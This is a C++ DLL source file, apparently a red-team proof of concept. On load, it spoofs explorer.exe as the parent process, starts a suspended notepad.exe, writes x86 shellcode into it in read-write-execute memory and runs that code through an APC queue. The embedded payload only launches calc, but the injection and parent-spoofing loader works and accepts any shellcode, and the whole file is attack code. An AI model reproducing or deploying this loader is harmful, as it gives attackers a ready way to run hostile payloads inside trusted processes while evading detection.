APCInject.cpp

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <Windows.h>
#include <TlHelp32.h>

int PpidInject()
{
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 process = { 0 };
	process.dwSize = sizeof(process);

	if (Process32First(snapshot, &process)) {
		do {
			//If you want to another process as parent change here
			if (!wcscmp(process.szExeFile, L"explorer.exe"))
				break;
		} while (Process32Next(snapshot, &process));
	}

	CloseHandle(snapshot);

	// x86 calc shellcode
	unsigned char shellCode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x00";

	STARTUPINFOEXA sInfoEX;
	PROCESS_INFORMATION pInfo;
	SIZE_T sizeT;

	HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, process.th32ProcessID);

	ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));
	InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
	sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);
	InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);
	UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);
	sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);

	CreateProcessA("C:\\Windows\\SysWOW64\\notepad.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX), &pInfo);

	LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, sizeof(shellCode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	SIZE_T *lpNumberOfBytesWritten = 0;
	BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);

	QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);
	ResumeThread(pInfo.hThread);
	CloseHandle(pInfo.hThread);
	
	return 0;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	{
		
		PpidInject();
		break;
	}
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}